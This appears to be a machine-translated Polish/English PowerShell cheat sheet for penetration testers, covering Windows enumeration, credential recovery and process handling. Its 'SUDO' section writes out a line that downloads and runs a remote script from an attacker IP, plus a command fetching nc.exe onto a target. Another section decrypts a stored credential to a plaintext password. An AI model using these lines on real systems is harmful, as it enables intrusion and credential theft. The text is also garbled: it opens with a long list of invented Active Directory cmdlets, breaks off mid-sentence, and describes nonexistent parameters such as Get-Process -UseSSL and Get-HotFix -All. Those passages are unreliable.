Get-ADReplicationUpToDatenessVectorTableSiteLink
Polecenie Get-ADReplicationUpToDatenessVectorTableServerLink
Polecenie Get-ADReplicationUpToDatenessVectorTableServerLink
pozwala na pobranie tabeli połączeń serwerów wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTableServerLink
Polecenie Get-ADReplicationUpToDatenessVectorTableNamingContextLink
Polecenie Get-ADReplicationUpToDatenessVectorTableNamingContextLink
pozwala na pobranie tabeli połączeń kontekstów nazw wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTableNamingContextLink
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionObject
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionObject
pozwala na pobranie tabeli obiektów partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTablePartitionObject
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionAttribute
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionAttribute
pozwala na pobranie tabeli atrybutów partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTablePartitionAttribute
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionValue
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionValue
pozwala na pobranie tabeli wartości partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTablePartitionValue
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionSite
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionSite
pozwala na pobranie tabeli witryn partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTablePartitionSite
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionServer
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionServer
pozwala na pobranie tabeli serwerów partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTablePartitionServer
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionNamingContext
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionNamingContext
pozwala na pobranie tabeli kontekstów nazw partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTablePartitionNamingContext
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionObjectLink
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionObjectLink
pozwala na pobranie tabeli połączeń obiektów partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTablePartitionObjectLink
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionAttributeLink
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionAttributeLink
pozwala na pobranie tabeli połączeń atrybutów partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:
Get-ADReplicationUpToDatenessVectorTablePartitionAttributeLink
Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionValueLink
Polecenie `Get-AD
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
Wersja systemu operacyjnego i poprawki
Aby uzyskać informacje o wersji systemu operacyjnego i zainstalowanych poprawkach, możemy użyć następującego polecenia w PowerShell:
(Get-WmiObject -Class Win32_OperatingSystem).Caption
Ten kod zwróci nazwę i wersję systemu operacyjnego.
Aby uzyskać informacje o zainstalowanych poprawkach, możemy użyć polecenia:
Get-HotFix
To polecenie wyświetli listę zainstalowanych poprawek wraz z ich identyfikatorami, opisami i datami instalacji.
Pamiętaj, że niektóre poprawki mogą być ukryte lub nie wyświetlać się w wynikach. Aby uzyskać pełną listę poprawek, możemy użyć polecenia:
Get-HotFix -All
To polecenie wyświetli wszystkie poprawki, w tym te ukryte.
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Środowisko
Basic PowerShell for Pentesters
Podstawy PowerShell dla pentesterów
This section covers some basic PowerShell commands and techniques that can be useful for pentesters during their engagements. It is important to have a good understanding of PowerShell as it is a powerful scripting language that can be used for various purposes, including offensive security.
Ta sekcja omawia podstawowe polecenia i techniki PowerShell, które mogą być przydatne dla pentesterów podczas ich zadań. Ważne jest, aby dobrze zrozumieć PowerShell, ponieważ jest to potężny język skryptowy, który może być używany do różnych celów, w tym do bezpieczeństwa ofensywnego.
PowerShell Basics
Podstawy PowerShell
Running PowerShell Commands
Wykonywanie poleceń PowerShell
PowerShell commands can be executed in a number of ways. The most common way is to open a PowerShell console and type the command directly. Another way is to run a PowerShell script file that contains the desired commands. Additionally, PowerShell commands can also be executed from within other scripting languages such as Python or batch files.
Polecenia PowerShell można wykonywać na kilka sposobów. Najczęstszym sposobem jest otwarcie konsoli PowerShell i wpisanie polecenia bezpośrednio. Innym sposobem jest uruchomienie pliku skryptu PowerShell, który zawiera żądane polecenia. Dodatkowo, polecenia PowerShell można również wykonywać z innych języków skryptowych, takich jak Python lub pliki wsadowe.
Getting Help
Uzyskiwanie pomocy
PowerShell provides a built-in help system that can be used to get information about commands, modules, and other PowerShell features. The Get-Help
command is used to access the help system. For example, to get help on a specific command, you can use the following syntax:
Get-Help <command>
PowerShell udostępnia wbudowany system pomocy, który można używać do uzyskiwania informacji o poleceniach, modułach i innych funkcjach PowerShell. Polecenie Get-Help
służy do uzyskiwania dostępu do systemu pomocy. Na przykład, aby uzyskać pomoc dotyczącą konkretnego polecenia, można użyć następującej składni:
Get-Help <polecenie>
Running PowerShell Scripts
Wykonywanie skryptów PowerShell
PowerShell scripts are text files that contain a series of PowerShell commands. These scripts can be executed by running the .\
followed by the script file name. For example, if the script file is named script.ps1
, you can run it using the following syntax:
.\script.ps1
Skrypty PowerShell to pliki tekstowe zawierające serię poleceń PowerShell. Skrypty te można uruchomić, uruchamiając .\
a następnie nazwę pliku skryptu. Na przykład, jeśli plik skryptu ma nazwę skrypt.ps1
, można go uruchomić, używając następującej składni:
.\skrypt.ps1
PowerShell Execution Policy
Polityka wykonywania PowerShell
PowerShell has an execution policy that determines whether scripts can be run and what types of scripts are allowed. The execution policy can be set to one of the following values:
- Restricted: No scripts are allowed to run.
- AllSigned: Only scripts signed by a trusted publisher are allowed to run.
- RemoteSigned: Scripts downloaded from the internet must be signed by a trusted publisher, but local scripts can run without a signature.
- Unrestricted: All scripts can run, regardless of their signature.
To check the current execution policy, you can use the following command:
Get-ExecutionPolicy
To change the execution policy, you can use the following command:
Set-ExecutionPolicy <policy>
PowerShell ma politykę wykonywania, która określa, czy skrypty mogą być uruchamiane i jakie rodzaje skryptów są dozwolone. Polityka wykonywania może mieć jedną z następujących wartości:
- Restricted: Nie można uruchamiać żadnych skryptów.
- AllSigned: Tylko skrypty podpisane przez zaufanego wydawcę są dozwolone do uruchomienia.
- RemoteSigned: Skrypty pobrane z internetu muszą być podpisane przez zaufanego wydawcę, ale lokalne skrypty mogą być uruchamiane bez podpisu.
- Unrestricted: Wszystkie skrypty mogą być uruchamiane, niezależnie od ich podpisu.
Aby sprawdzić bieżącą politykę wykonywania, można użyć następującego polecenia:
Get-ExecutionPolicy
Aby zmienić politykę wykonywania, można użyć następującego polecenia:
Set-ExecutionPolicy <polityka>
PowerShell Modules
Moduły PowerShell
PowerShell modules are collections of cmdlets, functions, and scripts that can be used to extend the functionality of PowerShell. Modules can be imported into a PowerShell session using the Import-Module
command. Once a module is imported, its cmdlets, functions, and scripts can be used just like any other PowerShell command.
To import a module, you can use the following command:
Import-Module <module>
To list all imported modules, you can use the following command:
Get-Module
Moduły PowerShell to zbiory cmdletów, funkcji i skryptów, które można używać do rozszerzania funkcjonalności PowerShell. Moduły można importować do sesji PowerShell za pomocą polecenia Import-Module
. Po zaimportowaniu modułu, jego cmdlety, funkcje i skrypty można używać tak samo jak dowolne inne polecenie PowerShell.
Aby zaimportować moduł, można użyć następującego polecenia:
Import-Module <moduł>
Aby wyświetlić listę wszystkich zaimportowanych modułów, można użyć następującego polecenia:
Get-Module
PowerShell Techniques
Techniki PowerShell
Command Execution
Wykonywanie poleceń
PowerShell can be used to execute commands on a remote system using various techniques. One common technique is to use the Invoke-Command
cmdlet, which allows you to run commands on remote systems that have PowerShell remoting enabled. For example, to execute a command on a remote system, you can use the following syntax:
Invoke-Command -ComputerName <computer> -ScriptBlock { <command> }
PowerShell może być używany do wykonywania poleceń na zdalnym systemie za pomocą różnych technik. Jedną z popularnych technik jest użycie polecenia Invoke-Command
, które umożliwia uruchamianie poleceń na zdalnych systemach, na których jest włączone zdalne zarządzanie PowerShell. Na przykład, aby wykonać polecenie na zdalnym systemie, można użyć następującej składni:
Invoke-Command -ComputerName <komputer> -ScriptBlock { <polecenie> }
File Operations
Operacje na plikach
PowerShell provides a number of cmdlets that can be used to perform file operations such as creating, copying, moving, and deleting files. Some of the commonly used cmdlets for file operations include New-Item
, Copy-Item
, Move-Item
, and Remove-Item
. For example, to create a new file, you can use the following syntax:
New-Item -Path <path> -ItemType File
PowerShell udostępnia wiele cmdletów, które można używać do wykonywania operacji na plikach, takich jak tworzenie, kopiowanie, przenoszenie i usuwanie plików. Niektóre z często używanych cmdletów do operacji na plikach to New-Item
, Copy-Item
, Move-Item
i Remove-Item
. Na przykład, aby utworzyć nowy plik, można użyć następującej składni:
New-Item -Path <ścieżka> -ItemType File
Registry Operations
Operacje na rejestrze
PowerShell can also be used to perform operations on the Windows registry. The Get-Item
, Set-Item
, and Remove-Item
cmdlets can be used to retrieve, modify, and delete registry keys and values. For example, to get the value of a registry key, you can use the following syntax:
Get-Item -Path <path>
PowerShell może również być używany do wykonywania operacji na rejestrze systemu Windows. Do pobierania, modyfikowania i usuwania kluczy i wartości rejestru można używać cmdletów Get-Item
, Set-Item
i Remove-Item
. Na przykład, aby pobrać wartość klucza rejestru, można użyć następującej składni:
Get-Item -Path <ścieżka>
Network Operations
Operacje sieciowe
PowerShell can be used to perform various network operations such as pinging a remote host, resolving hostnames to IP addresses, and retrieving information about network interfaces. The Test-Connection
, Resolve-DnsName
, and Get-NetAdapter
cmdlets can be used for these purposes. For example, to ping a remote host, you can use the following syntax:
Test-Connection -ComputerName <host>
PowerShell może być używany do wykonywania różnych operacji sieciowych, takich jak pingowanie zdalnego hosta, rozwiązywanie nazw hostów na adresy IP i pobieranie informacji o interfejsach sieciowych. Do tego celu można używać cmdletów Test-Connection
, Resolve-DnsName
i Get-NetAdapter
. Na przykład, aby wykonać ping zdalnego hosta, można użyć następującej składni:
Test-Connection -ComputerName <host>
Process Management
Zarządzanie procesami
PowerShell provides cmdlets that can be used to manage processes running on a system. The Get-Process
, Start-Process
, and Stop-Process
cmdlets can be used to retrieve information about running processes, start new processes, and stop running processes, respectively. For example, to get a list of running processes, you can use the following command:
Get-Process
PowerShell udostępnia cmdlety, które można używać do zarządzania procesami uruchomionymi na systemie. Do pobierania informacji o uruchomionych procesach, uruchamiania nowych procesów i zatrzymywania uruchomionych procesów można używać cmdletów Get-Process
, Start-Process
i Stop-Process
odpowiednio. Na przykład, aby uzyskać listę uruchomionych procesów, można użyć następującego polecenia:
Get-Process
User Management
Zarządzanie użytkownikami
PowerShell can be used to manage user accounts on a Windows system. The Get-LocalUser
, New-LocalUser
, Set-LocalUser
, and Remove-LocalUser
cmdlets can be used to retrieve information about local users, create new local users, modify existing local users, and remove local users, respectively. For example, to create a new local user, you can use the following syntax:
New-LocalUser -Name <name> -Password (ConvertTo-SecureString -String <password> -AsPlainText -Force)
PowerShell może być używany do zarządzania kontami użytkowników w systemie Windows. Do pobierania informacji o lokalnych użytkownikach, tworzenia nowych lokalnych użytkowników, modyfikowania istniejących lokalnych użytkowników i usuwania lokalnych użytkowników można używać cmdletów Get-LocalUser
, New-LocalUser
, Set-LocalUser
i Remove-LocalUser
odpowiednio. Na przykład, aby utworzyć nowego lokalnego użytkownika, można użyć następującej składni:
New-LocalUser -Name <nazwa> -Password (ConvertTo-SecureString -String <hasło> -AsPlainText -Force)
Service Management
Zarządzanie usługami
PowerShell can be used to manage services running on a Windows system. The Get-Service
, Start-Service
, Stop-Service
, and Restart-Service
cmdlets can be used to retrieve information about services, start services, stop services, and restart services, respectively. For example, to get a list of running services, you can use the following command:
Get-Service
PowerShell może być używany do zarządzania usługami uruchomionymi na systemie Windows. Do pobierania informacji o usługach, uruchamiania usług, zatrzymywania usług i ponownego uruchamiania usług można używać cmdletów Get-Service
, Start-Service
, Stop-Service
i Restart-Service
odpowiednio. Na przykład, aby uzyskać listę uruchomionych usług, można użyć następującego polecenia:
Get-Service
Event Log Management
Zarządzanie dziennikami zdarzeń
PowerShell can be used to manage event logs on a Windows system. The Get-EventLog
, New-EventLog
, Remove-EventLog
, and Clear-EventLog
cmdlets can be used to retrieve information about event logs, create new event logs, remove event logs, and clear event logs, respectively. For example, to get a list of available event logs, you can use the following command:
Get-EventLog -List
PowerShell może być używany do zarządzania dziennikami zdarzeń w systemie Windows. Do pobierania informacji o dziennikach zdarzeń, tworzenia nowych dzienników zdarzeń, usuwania dzienników zdarzeń i czyszczenia dzienników zdarzeń można używać cmdletów Get-EventLog
, New-EventLog
, Remove-EventLog
i Clear-EventLog
odpowiednio. Na przykład, aby uzyskać listę dostępnych dzienników zdarzeń, można użyć następującego polecenia:
Get-EventLog -List
System Information
Informacje o systemie
PowerShell can be used to retrieve information about the Windows system. The Get-WmiObject
, Get-ComputerInfo
, and Get-CimInstance
cmdlets can be used to retrieve various system information such as hardware details, operating system information, and network configuration. For example, to get the operating system information, you can use the following command:
Get-WmiObject -Class Win32_OperatingSystem
PowerShell może być używany do pobierania informacji o systemie Windows. Do pobierania różnych informacji o systemie, takich jak szczegóły sprzętu, informacje o systemie operacyjnym i konfiguracja sieci, można używać cmdletów Get-WmiObject
, Get-ComputerInfo
i Get-CimInstance
. Na przykład, aby uzyskać informacje o systemie operacyjnym, można użyć następującego polecenia:
Get-WmiObject -Class Win32_OperatingSystem
PowerShell Remoting
Zdalne zarządzanie PowerShell
PowerShell remoting allows you to run PowerShell commands on remote systems. To enable PowerShell remoting on a system, you can use the Enable-PSRemoting
cmdlet. Once remoting is enabled, you can use the Enter-PSSession
cmdlet to establish a remote PowerShell session with a remote system. For example, to enter a remote session, you can use the following command:
Enter-PSSession -ComputerName <computer>
Zdalne zarządzanie PowerShell umożliwia uruchamianie poleceń PowerShell na zdalnych systemach. Aby włączyć zdalne zarządzanie PowerShell na systemie, można użyć cmdletu Enable-PSRemoting
. Po włączeniu zdalnego zarządzania można użyć cmdletu `
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value
Inne podłączone dyski
When conducting a penetration test on a Windows system, it is important to gather information about other connected drives. This can help in identifying potential vulnerabilities and accessing sensitive data.
PowerShell Command
To retrieve information about other connected drives, you can use the following PowerShell command:
Get-PSDrive -PSProvider 'FileSystem' | Where-Object {$_.Root -ne $null} | Select-Object Name, Root, Used, Free
This command uses the Get-PSDrive
cmdlet to retrieve all drives connected to the system. The Where-Object
cmdlet filters out drives with a null root, which typically indicates network or virtual drives. The Select-Object
cmdlet is used to display the name, root, used space, and free space of the drives.
Example Output
Here is an example output of the PowerShell command:
Name Root Used Free
---- ---- ---- ----
C C:\ 100GB 50GB
D D:\ 200GB 100GB
This output shows that there are two connected drives: C:
and D:
. The C:
drive has 100GB used and 50GB free space, while the D:
drive has 200GB used and 100GB free space.
By gathering information about other connected drives, you can gain a better understanding of the system's storage configuration and potentially discover additional attack vectors or sensitive data.
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Kosz
Kosz to specjalny folder w systemie Windows, w którym przechowywane są usunięte pliki i foldery. Domyślnie, gdy plik jest usunięty, trafia on do kosza, zamiast natychmiastowo zostawać trwale usuniętym z systemu. Kosz umożliwia przywrócenie usuniętych plików, jeśli zostaną one przypadkowo usunięte lub jeśli użytkownik zmieni zdanie.
W celu przywrócenia pliku z kosza, wystarczy otworzyć kosz, znaleźć żądany plik i kliknąć opcję przywrócenia. Plik zostanie automatycznie przeniesiony z powrotem do swojego pierwotnego miejsca.
Warto zauważyć, że kosz ma ograniczoną pojemność, co oznacza, że jeśli przekroczy on określony rozmiar, najstarsze pliki zostaną automatycznie usunięte, aby zrobić miejsce dla nowych. Można również trwale usunąć pliki z kosza, aby zwolnić miejsce na dysku.
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
https://jdhitsolutions.com/blog/powershell/7024/zarzadzanie-koszem-recyklingowym-z-powershell/
Rozpoznanie domeny
{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}
Użytkownicy
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
Bezpieczny ciąg znaków na tekst jawny
Aby przekształcić bezpieczny ciąg znaków na tekst jawny w PowerShell, możesz użyć poniższego kodu:
$secureString = ConvertTo-SecureString -String "BezpieczneHasło" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
W powyższym kodzie, zmienna $secureString
przechowuje bezpieczny ciąg znaków, który jest przekształcany na tekst jawny przy użyciu metody ConvertTo-SecureString
. Następnie, za pomocą metody [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR
, bezpieczny ciąg znaków jest konwertowany na wskaźnik do tekstu jawny, który jest następnie przekształcany na tekst jawny za pomocą metody [System.Runtime.InteropServices.Marshal]::PtrToStringAuto
.
Pamiętaj, że przekształcenie bezpiecznego ciągu znaków na tekst jawny może być niebezpieczne i powinno być stosowane tylko wtedy, gdy jest to absolutnie konieczne.
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
Lub bezpośrednio analizując XML:
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
SUDO
SUDO to polecenie w systemach Unix, które umożliwia użytkownikom wykonanie komend jako inny użytkownik, zazwyczaj jako root. W systemach Windows nie ma wbudowanej funkcji SUDO, ale można osiągnąć podobne efekty za pomocą PowerShell.
Wykorzystanie PowerShell do symulowania SUDO
PowerShell umożliwia uruchamianie komend jako administrator, co daje podobne uprawnienia jak SUDO w systemach Unix. Aby to zrobić, należy uruchomić PowerShell z uprawnieniami administratora i użyć polecenia Start-Process
do uruchomienia komendy jako inny użytkownik.
Start-Process -FilePath "cmd.exe" -Verb RunAs
Powyższe polecenie uruchomi wiersz polecenia jako administrator. Można również użyć innych programów, zamiast cmd.exe
, aby uruchomić dowolną komendę jako administrator.
Wykorzystanie PowerShell do uruchamiania komend jako inni użytkownicy
PowerShell umożliwia również uruchamianie komend jako inni użytkownicy bez konieczności posiadania uprawnień administratora. Można to osiągnąć za pomocą polecenia Start-Process
i parametru -Credential
, który pozwala na podanie poświadczeń innego użytkownika.
$securePassword = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ("domain\username", $securePassword)
Start-Process -FilePath "cmd.exe" -Credential $credential
Powyższy przykład uruchamia wiersz polecenia jako użytkownik domain\username
z podanym hasłem. Można również użyć innych programów, zamiast cmd.exe
, aby uruchomić dowolną komendę jako inny użytkownik.
Podsumowanie
Chociaż Windows nie ma wbudowanej funkcji SUDO, można osiągnąć podobne efekty za pomocą PowerShell. Można uruchamiać komendy jako administrator lub jako inni użytkownicy, używając odpowiednich poleceń i parametrów.
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
#For local:
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
Grupy
Grupy w systemie Windows są kolekcjami użytkowników, które mają wspólne uprawnienia i dostęp do zasobów systemowych. Grupy są używane do zarządzania uprawnieniami i kontroli dostępu w systemie.
Tworzenie grupy
Aby utworzyć nową grupę w systemie Windows, możesz użyć polecenia PowerShell New-LocalGroup
. Poniżej znajduje się przykład:
New-LocalGroup -Name "NazwaGrupy"
Dodawanie użytkowników do grupy
Aby dodać użytkownika do istniejącej grupy w systemie Windows, możesz użyć polecenia PowerShell Add-LocalGroupMember
. Poniżej znajduje się przykład:
Add-LocalGroupMember -Group "NazwaGrupy" -Member "NazwaUżytkownika"
Usuwanie grupy
Aby usunąć grupę z systemu Windows, możesz użyć polecenia PowerShell Remove-LocalGroup
. Poniżej znajduje się przykład:
Remove-LocalGroup -Name "NazwaGrupy"
Wyświetlanie informacji o grupie
Aby wyświetlić informacje o konkretnej grupie w systemie Windows, możesz użyć polecenia PowerShell Get-LocalGroup
. Poniżej znajduje się przykład:
Get-LocalGroup -Name "NazwaGrupy"
Wyświetlanie członków grupy
Aby wyświetlić członków konkretnej grupy w systemie Windows, możesz użyć polecenia PowerShell Get-LocalGroupMember
. Poniżej znajduje się przykład:
Get-LocalGroupMember -Group "NazwaGrupy"
Zmiana nazwy grupy
Aby zmienić nazwę grupy w systemie Windows, możesz użyć polecenia PowerShell Rename-LocalGroup
. Poniżej znajduje się przykład:
Rename-LocalGroup -Name "StaraNazwaGrupy" -NewName "NowaNazwaGrupy"
Zmiana opisu grupy
Aby zmienić opis grupy w systemie Windows, możesz użyć polecenia PowerShell Set-LocalGroup
. Poniżej znajduje się przykład:
Set-LocalGroup -Name "NazwaGrupy" -Description "NowyOpisGrupy"
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Schowek
The clipboard is a temporary storage area in the computer's memory that allows you to copy and paste text, images, and other data between different applications or within the same application. It is commonly used for tasks such as copying text from a website and pasting it into a document.
In the context of PowerShell, the clipboard can be accessed and manipulated using the Get-Clipboard
and Set-Clipboard
cmdlets. These cmdlets allow you to retrieve the contents of the clipboard or set new content onto it, respectively.
Getting the Clipboard Contents
To retrieve the contents of the clipboard, you can use the Get-Clipboard
cmdlet. This cmdlet returns the data stored in the clipboard as a string, which can then be further processed or displayed.
$clipboardContents = Get-Clipboard
Setting the Clipboard Contents
To set new content onto the clipboard, you can use the Set-Clipboard
cmdlet. This cmdlet takes a string as input and sets it as the new content of the clipboard.
Set-Clipboard -Value "This is the new clipboard content"
Clearing the Clipboard
If you want to clear the contents of the clipboard, you can use the Clear-Clipboard
cmdlet. This cmdlet removes all data from the clipboard, making it empty.
Clear-Clipboard
Using the Clipboard in PowerShell Scripts
The clipboard can be useful in PowerShell scripts for tasks such as automating data manipulation or interacting with other applications. For example, you can copy data from a file and paste it into a web form using the clipboard.
# Copy file contents to clipboard
$fileContents = Get-Content -Path "C:\path\to\file.txt"
$fileContents | Set-Clipboard
# Paste clipboard contents into web form
$ie = New-Object -ComObject InternetExplorer.Application
$ie.Navigate("https://example.com/form")
while ($ie.Busy) { Start-Sleep -Milliseconds 100 }
$ie.Document.GetElementById("inputField").Value = Get-Clipboard
By leveraging the clipboard functionality in PowerShell, you can enhance your scripting capabilities and automate various tasks that involve data transfer between different sources.
Get-Clipboard
Procesy
W systemie Windows procesy są jednym z podstawowych elementów, które można monitorować i kontrolować. Procesy to działające programy lub aplikacje, które wykonują określone zadania. W tym rozdziale omówimy podstawowe techniki związane z procesami w PowerShell.
Wyświetlanie procesów
Aby wyświetlić listę wszystkich procesów działających w systemie, możemy użyć polecenia Get-Process
. Polecenie to zwraca informacje takie jak identyfikator procesu (PID), nazwa procesu, zużycie pamięci i inne szczegóły.
Get-Process
Wyświetlanie szczegółowych informacji o procesie
Aby uzyskać bardziej szczegółowe informacje o konkretnym procesie, możemy użyć polecenia Get-Process
z parametrem -Id
i podać identyfikator procesu (PID) jako argument.
Get-Process -Id <PID>
Zabijanie procesu
Aby zakończyć działanie procesu, możemy użyć polecenia Stop-Process
z parametrem -Id
i podać identyfikator procesu (PID) jako argument.
Stop-Process -Id <PID>
Uruchamianie nowego procesu
Aby uruchomić nowy proces, możemy użyć polecenia Start-Process
i podać ścieżkę do pliku wykonywalnego jako argument.
Start-Process -FilePath <ścieżka_do_pliku>
Uruchamianie procesu z uprawnieniami administratora
Aby uruchomić proces z uprawnieniami administratora, możemy użyć polecenia Start-Process
z parametrem -Verb RunAs
.
Start-Process -FilePath <ścieżka_do_pliku> -Verb RunAs
Uruchamianie procesu w tle
Aby uruchomić proces w tle, bez wyświetlania okna, możemy użyć polecenia Start-Process
z parametrem -WindowStyle Hidden
.
Start-Process -FilePath <ścieżka_do_pliku> -WindowStyle Hidden
Uruchamianie procesu z argumentami
Aby uruchomić proces z określonymi argumentami, możemy użyć polecenia Start-Process
z parametrem -ArgumentList
i podać argumenty jako tablicę.
Start-Process -FilePath <ścieżka_do_pliku> -ArgumentList <argumenty>
Uruchamianie procesu w określonym katalogu
Aby uruchomić proces w określonym katalogu, możemy użyć polecenia Start-Process
z parametrem -WorkingDirectory
i podać ścieżkę do katalogu jako argument.
Start-Process -FilePath <ścieżka_do_pliku> -WorkingDirectory <ścieżka_do_katalogu>
Wyświetlanie procesów dla określonego użytkownika
Aby wyświetlić procesy dla określonego użytkownika, możemy użyć polecenia Get-Process
z parametrem -IncludeUserName
i podać nazwę użytkownika jako argument.
Get-Process -IncludeUserName -UserName <nazwa_użytkownika>
Wyświetlanie procesów dla określonego portu
Aby wyświetlić procesy, które nasłuchują na określonym porcie, możemy użyć polecenia Get-Process
z parametrem -Id
i podać numer portu jako argument.
Get-Process -Id (Get-NetTCPConnection -LocalPort <numer_portu>).OwningProcess
Wyświetlanie procesów dla określonego pliku
Aby wyświetlić procesy, które używają określonego pliku, możemy użyć polecenia Get-Process
z parametrem -Id
i podać ścieżkę do pliku jako argument.
Get-Process -Id (Get-Process -Module <ścieżka_do_pliku>).Id
Wyświetlanie procesów dla określonego klucza rejestru
Aby wyświetlić procesy, które używają określonego klucza rejestru, możemy użyć polecenia Get-Process
z parametrem -Id
i podać ścieżkę do klucza rejestru jako argument.
Get-Process -Id (Get-Process -Module (Get-ItemProperty -Path <ścieżka_do_klucza_rejestru>).PSPath).Id
Wyświetlanie procesów dla określonego serwisu
Aby wyświetlić procesy, które są powiązane z określonym serwisem, możemy użyć polecenia Get-Process
z parametrem -Id
i podać nazwę serwisu jako argument.
Get-Process -Id (Get-WmiObject -Class Win32_Service | Where-Object {$_.Name -eq "<nazwa_serwisu>"}).ProcessId
Wyświetlanie procesów dla określonego użytkownika zdalnego
Aby wyświetlić procesy dla określonego użytkownika zdalnego, możemy użyć polecenia Get-Process
z parametrem -ComputerName
i podać nazwę komputera zdalnego jako argument.
Get-Process -ComputerName <nazwa_komputera_zdalnego>
Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem
Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem, możemy użyć polecenia Get-Process
z parametrami -ComputerName
, -Credential
i podać nazwę komputera zdalnego oraz poświadczenia jako argumenty.
Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia>
Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem i szyfrowaniem
Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem i szyfrowaniem, możemy użyć polecenia Get-Process
z parametrami -ComputerName
, -Credential
i -UseSSL
i podać nazwę komputera zdalnego, poświadczenia oraz użyć szyfrowania jako argumenty.
Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia> -UseSSL
Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami
Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami, możemy użyć polecenia Get-Process
z parametrami -ComputerName
, -Credential
i -Authentication
i podać nazwę komputera zdalnego, poświadczenia oraz wybrać metodę uwierzytelniania jako argumenty.
Get-Process -ComputerName <nazwa_komputera_zdalnego> -Credential <poświadczenia> -Authentication <metoda_uwierzytelniania>
Wyświetlanie procesów dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem
Aby wyświetlić procesy dla określonego użytkownika zdalnego z uwierzytelnianiem i alternatywnymi poświadczeniami oraz szyfrowaniem, możemy użyć polecenia Get-Process
z parametrami -ComputerName
, -Credential
, -Authentication
i -UseSSL
